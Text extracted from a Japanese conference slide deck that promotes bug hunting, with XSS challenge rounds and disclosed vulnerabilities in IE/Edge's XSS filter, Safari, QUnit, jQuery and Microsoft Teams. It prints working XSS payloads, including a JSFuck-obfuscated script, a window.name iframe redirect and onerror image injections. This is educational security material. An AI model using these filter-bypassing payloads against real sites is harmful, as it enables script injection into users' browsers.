ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert eval Function setTimeout setInterval :
\ × Round 6
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #6 <script> kw = "";location=String.fromCharCode(106,97,118,97,115,99, 114,105,112,116,58,97,108,101,114,116,40,49,41);""; </script>
https://example.com/search?keyword=";location[...]
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert eval Function setTimeout setInterval :
\ , . × Round 7
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #7 <script> kw = "";location=name;""; </script> https://example.com/search?keyword=";location[...]
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ XSS #7 補足 <iframe name="javascript:alert(1)" src='//example.com/search?keyword=";location=name;"' ></iframe> 攻撃者のサイトからname属性付きフレームに埋め込む:
すると埋め込まれている側の (window.)name に文字列が入る
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ < > alert eval Function setTimeout setInterval :
\ , . A-Z a-z 0-9 × Round 8
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ <script> kw = "";[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[ ]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[ +!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+ !+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+ !+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]
]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+ !+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[ ]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![] +[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]] +(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+! +[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+ []]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]] +(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) [+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![ ]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[ ]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![] +[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[] )[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[ ])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+ []]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[ ]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]);""; </script> JSFuck: https://jsfuck.com/
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ <script> kw = "";[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[ ]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[ +!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+ !+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+ !+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]
]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+ !+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[ ]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![] +[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]] +(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+! +[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+ []]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]] +(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) [+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![ ]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[ ]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![] +[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[] )[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[ ])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+ []]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[ ]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]);""; </script> OK 1 JSFuck: https://jsfuck.com/
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ パズル的な楽しさ • 複雑な攻撃文字列はもはや芸術の域
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 2. 想定解がない面白さ • 実際にあるかは誰も知らないものを探すロマン • 脆弱性を故意に作る人間はいない • だからこそ発見には常に新鮮な驚きがある
• 解を自分で創造する楽しみ • 以後利用され続けるような、発明とも言える手法が生まれることも
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例: IE/EdgeのXSSフィルター • かつてブラウザにあったXSS対策の機能 • URLと応答にXSSっぽい文字列があると発動し、ページの内容を 書き換えて攻撃を防止する •
例:URLと応答に javascript:1 があると応答が javasc#ipt:1に • この書き換えを利用してXSSを引き起こせた • つまり、XSS対策機能を使ってXSSできた XSSフィルターを利用したXSS攻撃 https://www.slideshare.net/masatokinugawa/xxn-ja
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ javascript: リンクの遮断ルールを騙す例: 実例: XSSフィルターの悪用 <script type="text/javascript">a=1</script> <script> var
q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:\ フィルターは色に対応する部分で攻撃文字列にマッチしているとみなす
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ タグ名の一部を書き換え、HTML構造を破壊 実例: XSSフィルターの悪用 <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img
src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:\ 遮断後:
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 黄色部分が<img>タグとして現れ、XSSが起きる 実例: XSSフィルターの悪用 <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img
src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:\ 遮断後:
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 想定解がない面白さ • 他人に試されているのではなく純粋に自分自身への挑戦
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 3. 攻撃対象の自由さ • 「攻撃に使えるかどうか」だけが重要 • 機能の新しさや古さは関係ない • セキュリティ機能だって悪く使えるなら使えばいい
• だれも使っていない機能にこそ致命的な問題があることも • マイナーまたはアプリ独自のファイルフォーマットを処理する機能 • 特定のパラメータがある時だけ到達できるコード部分 • あるブラウザだけが実装している機能 • リンクされていない孤立したWebページ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例1: Lhaplusのバッファオーバーフロー • 国産アーカイバ • ZOOという圧縮フォーマットの展開時に発生 • クリックで任意コード実行
• 拡張子を .zip に変えてもZOOとして展開された Lhaplus Version 1.72で修正 https://www7a.biglobe.ne.jp/~schezo/history.html
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例2: SafariのshowModalDialogでUXSS • showModalDialog: モーダルウインドウを開くJavaScriptのAPI • 他ブラウザは昔に廃止し、もはや誰も使っていない(※Safariも最近消した) •
UXSS: XSS脆弱性がないはずのページでXSSを起こせるバグ • ターゲットのページを細工した攻撃者のサイトからダイアログで 開くだけでXSS CVE-2016-4758: SafariのshowModalDialogに存在したUXSS https://masatokinugawa.l0.cm/2016/09/safari-uxss-showModalDialog.html showModalDialog("https://target-host/test.html");
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例3: QUnitのXSS • JavaScript用のテスト用のフレームワーク • フレームワークが使う静的なWebページにXSSがあった • テスト用の機能だが、あるアプリで、メインアプリと同じオリジ
ンの公開ページで置かれていたためメインアプリを攻撃できた QUnit 1.21.0 XSS PoC https://vulnerabledoma.in/qunit/xss_1.21.0.html
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 攻撃対象の自由さ • どこを見ても何を学んでも発見に繋がる可能性がある • 知られざる路地を歩くようなトキメキ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 4. 分解の楽しみ • ≒ソースコードを読む楽しみ • コードを1行ずつ追って詳細な動作を理解することはまさに"分解" • 機能は知っていてもその内部は知らないことも多い
• 実は思いもよらない処理をしていることも • 動作を深く知ることが発見につながる
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例: jQueryのXSS • HTMLを追加する .html( htmlString ) 機能などにあったバグ
• 使う分にはただHTMLを追加するだけに見える • が、実は内部で文字列置換をしている • この処理のせいで安全なHTMLを渡していてもXSSが起きる場合があった CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細 https://masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a- z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi [...] htmlPrefilter: function( html ) { return html.replace( rxhtmlTag, "<$1></$2>" ); }
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例: jQueryのXSS 元の文字列は安全: <img alt="<x" title="/><img src=x onerror=alert(1)>">
<img alt="<x" title="></x"><img src=x onerror=alert(1)>"> でも $('#div').html(htmlString) に通すと…
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 分解の楽しみ • ブラックボックスから少しずつ何かが見えてくるワクワク
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 5. 悪用を考える楽しみ • みつけたバグで何ができるか • 脅威を評価するために最悪のケースを考える • 時にはバグとバグを組み合わせることで致命的な問題に
• 1つ1つは小さな問題でも怪物に化け得る
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 実例: Microsoft Teams のRCE(Pwn2Own) 3つのバグを組み合わせて任意コード実行を達成: メインウィンドウでのContext Isolationの欠如 チャットメッセージを通じたXSS
PluginHostを通じたサンドボックス外でのJS実行 Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法 https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-12
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 悪用を考える楽しみ • バグの連鎖はまるで現代の黒魔術
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ バグハンティングの面白さ(再掲) 1. パズル的な楽しみ 2. 想定解がない面白さ 3. 攻撃対象の自由さ 4.
分解の楽しみ 5. 悪用を考える楽しみ
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 何からしたらいいかわからない? • Webセキュリティを体系的に学ぶなら徳丸本 • XSSから始めるのもオススメ • 入り口はやさしくとっつきやすい •
が、深く知ろうとするとブラウザセキュリティの神髄がつまっている • パズル的な面白さから入るなら「XSSチャレンジ」 • CTF (Capture The Flag)もオススメ • セキュリティ関連の知識を駆使して隠された文字列(flag)を探すゲーム • 仲間を作りたいとか、わいわい解いたりが好きな人は特に良いかも • いろんな分野の勉強ができるメリットも
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ 本格的に脆弱性を探していきたい? • 過去の発見から学ぶのが近道 • FirefoxやChromeの脆弱性は時間が経つと詳細が公開される • HackerOneや個人のブログなどの発見された脆弱性のwrite upも良い
• 自身も何かを発見したらアウトプットを • コミュニティとつながりができる • コミュニティもあなたのブログから学べる • 人に説明することによってさらに理解が深まる
ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ ゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝゝ バグハンティングのすゝめ • バグ探し仲間が増えてほしい! • 国内はまだまだ英語圏ほど活動が活発でない印象があるので一緒に 盛り上げていきたい! • 企業の皆様ももっとバグバウンティの導入を!!
